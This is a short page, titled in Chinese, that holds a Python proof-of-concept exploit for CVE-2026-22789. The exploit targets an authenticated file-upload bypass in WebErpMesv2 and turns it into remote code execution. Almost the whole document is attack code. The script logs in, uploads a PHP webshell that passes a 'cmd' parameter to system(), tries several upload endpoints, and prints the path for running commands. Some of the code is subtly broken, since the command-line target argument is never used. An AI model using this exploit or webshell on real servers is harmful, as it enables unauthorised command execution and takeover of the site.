CVE-2026-22789 WebErpMesv2 文件上传验证绕过导致RCE漏洞

# CVE-2026-22789 File Upload Bypass PoC # Target: WebErpMesv2 < 1.19 # Type: Authenticated File Upload to RCE import requests import sys TARGET_URL = "http://target.com/WebErpMesv2" LOGIN_URL = f"{TARGET_URL}/index.php?sec=session&s=login" UPLOAD_URL = f"{TARGET_URL}/includes/ajax/upload.php" # Malicious PHP webshell PHP_SHELL = "<?php if(isset($_REQUEST['cmd'])){ echo '<pre>'; $cmd = ($_REQUEST['cmd']); system($cmd); echo '</pre>'; die; } ?>" def login(session, username, password): """Authenticate to WebErpMesv2""" data = { 'UserName': username, 'Password': password } response = session.post(LOGIN_URL, data=data) return 'user' in response.cookies or response.status_code == 200 def upload_shell(session, upload_endpoint): """Upload malicious PHP file bypassing validation""" files = { 'file': ('shell.php', PHP_SHELL, 'application/x-php') } # Try multiple upload endpoints endpoints = [ f"{TARGET_URL}/includes/ajax/upload.php", f"{TARGET_URL}/api/upload", f"{TARGET_URL}/uploads/upload.php" ] for endpoint in endpoints: try: response = session.post(endpoint, files=files, timeout=10) if response.status_code == 200: print(f"[+] Upload successful at: {endpoint}") return True except: continue return False def main(): if len(sys.argv) < 4: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password>") sys.exit(1) target = sys.argv[1] username = sys.argv[2] password = sys.argv[3] session = requests.Session() print("[*] Logging in to WebErpMesv2...") if not login(session, username, password): print("[-] Authentication failed") sys.exit(1) print("[+] Authentication successful") print("[*] Uploading malicious PHP shell...") if upload_shell(session, UPLOAD_URL): print("[+] Shell uploaded! Access at: /uploads/shell.php?cmd=whoami") else: print("[-] Upload failed - target may be patched or different endpoint") if __name__ == "__main__": main()